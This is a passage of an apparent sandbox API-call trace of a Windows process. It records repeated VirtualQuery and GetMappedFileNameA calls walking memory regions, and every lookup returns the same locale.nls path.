"c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3a2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3a2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3a2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3b0000, AllocationBase=0x3b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3b0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3b2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3b2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3b2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3c0000, AllocationBase=0x3c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3c0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3c2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3c2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3c2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3d0000, AllocationBase=0x3d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xf000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3d0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3df000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3df000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3df000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3e0000, AllocationBase=0x3e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3e0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3e3000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3e3000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3e3000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f0000, AllocationBase=0x3f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3f1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x100000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x400000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x500000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x500000, AllocationBase=0x500000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x500000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x504000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x504000, AllocationBase=0x500000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x17c000, State=0x2000, Protect=0x0, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x504000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x680000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x680000, AllocationBase=0x500000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x680000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x683000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x683000, AllocationBase=0x500000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x683000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x688000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x688000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x688000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x690000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x690000, AllocationBase=0x690000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x690000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x691000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x691000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x691000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x6a0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x6a0000, AllocationBase=0x6a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x6a0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x6b0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x6b0000, AllocationBase=0x6b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x181000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x6b0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x831000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x831000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x831000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x840000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x840000, AllocationBase=0x840000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x34000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x840000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x874000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x874000, AllocationBase=0x840000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x13cc000, State=0x2000, Protect=0x0, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x874000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1c40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1c40000, AllocationBase=0x1c40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1d000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1c40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1c5d000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1c5d000, AllocationBase=0x1c40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe3000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1c5d000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d40000, AllocationBase=0x1d40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d41000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d41000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d41000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d50000, AllocationBase=0x1d50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d51000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d51000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d51000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d60000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d60000, AllocationBase=0x1d60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d60000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d61000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d61000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d61000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d70000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d70000, AllocationBase=0x1d70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d70000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1d73000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1d73000, AllocationBase=0x1d70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3d000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.315] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1d73000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.315] VirtualQuery (in: lpAddress=0x1db0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1db0000, AllocationBase=0x1db0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x26000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1db0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1dd6000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1dd6000, AllocationBase=0x1db0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5a000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1dd6000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e30000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e30000, AllocationBase=0x1e30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e30000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e31000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e31000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e31000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e40000, AllocationBase=0x1e40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e41000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e41000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e41000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e50000, AllocationBase=0x1e50000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e51000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e51000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e51000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.316] VirtualQuery (in: lpAddress=0x1e60000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x1e60000, AllocationBase=0x1e60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.316] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x1e60000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" 